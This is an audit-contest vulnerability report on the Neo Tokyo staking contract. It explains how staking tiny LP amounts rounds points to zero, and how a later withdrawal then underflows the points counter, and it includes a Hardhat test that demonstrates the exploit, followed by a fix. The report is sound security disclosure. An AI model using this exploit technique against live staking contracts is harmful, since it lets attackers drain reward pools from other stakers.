Neo Tokyo contest - Ruhum's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1154-L1165

Vulnerability details

Impact

The calculation of staking points earned by depositing LP tokens (_stakeLP()) is done in an unchecked block.

		unchecked {
			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}

For any given amount of LP tokens, points is calculated as amount * 100 / 1e18 * timelockMultiplioer / _DIVISOR. By selecting a very small amount for amount we can cause that calculation to round down to 0. That allows us to increase our positions amount without also increasing points. When enough LP tokens were staked that way we can withdraw all of it so that points calculated in the withdrawal function (_withdrawLP()) is 1. That causes points to underflow:

		unchecked {
			uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

			// Update the caller's LP token stake.
			lpPosition.amount -= amount;
			lpPosition.points -= points;

			// Update the pool point weights for rewards.
			pool.totalPoints -= points;
		}

The position's points determine its share of the rewards calculated in getPoolReward().

Proof of Concept

Here's a test showcasing how an attacker can inflate their positions:

diff --git a/test/NeoTokyoStaker.test.js b/test/NeoTokyoStaker.test.js
index 231f47d..711fd23 100644
--- a/test/NeoTokyoStaker.test.js
+++ b/test/NeoTokyoStaker.test.js
@@ -1922,6 +1922,48 @@ describe('Testing BYTES 2.0 & Neo Tokyo Staker', function () {
 					ethers.BigNumber.from('100000000000000000')
 				);
 			});
+			
+			it.only("should underflow", async() => {
+				for (let i = 0; i < 11; i++) {
+				// by staking a very small amount we can increase `amount` while
+				// keeping `points` at 0.
+				await NTStaking.connect(whale.signer).stake(
+					ASSETS.LP.id,
+					0,
+					BigInt(1e15),
+					0,
+					0
+				);
+
+				}
+				let position = await NTStaking.getStakerPositions(whale.address);
+				position.stakedLPPosition.points.should.be.equal(0);
+				position.stakedLPPosition.amount.should.be.equal(BigInt(1.1e16));
+
+				// now we add enough funds that `points` can actually be modified
+				await NTStaking.connect(whale.signer).stake(
+					ASSETS.LP.id,
+					0,
+					BigInt(1e18),
+					0,
+					0,
+				);
+				position = await NTStaking.getStakerPositions(whale.address);
+				position.stakedLPPosition.points.should.be.equal(100);
+				position.stakedLPPosition.amount.should.be.equal(BigInt(1.011e18));
+
+				await hre.ethers.provider.send("evm_increaseTime", [60 * 60 * 24 * 30])
+				await hre.ethers.provider.send("evm_mine")
+
+				// withdraw will cause points to underflow
+				await NTStaking.connect(whale.signer).withdraw(
+					ASSETS.LP.id,
+					BigInt(1.01e18),
+				);
+				position = await NTStaking.getStakerPositions(whale.address);
+				position.stakedLPPosition.points.should.be.gt(BigInt(1e18));
+				position.stakedLPPosition.amount.should.be.equal(BigInt(1e15));
+			});
 
 			// Test withdrawing LP tokens.
 			it('LP tokens can be withdrawn', async () => {

Tools Used

none

Recommended Mitigation Steps

Check that points > 0 in the deposit function:

		unchecked {
			uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
                        require(points > 0);
			// Update the caller's LP token stake.
			stakerLPPosition[msg.sender].timelockEndTime =
				block.timestamp + timelockDuration;
			stakerLPPosition[msg.sender].amount += amount;
			stakerLPPosition[msg.sender].points += points;

			// Update the pool point weights for rewards.
			pool.totalPoints += points;
		}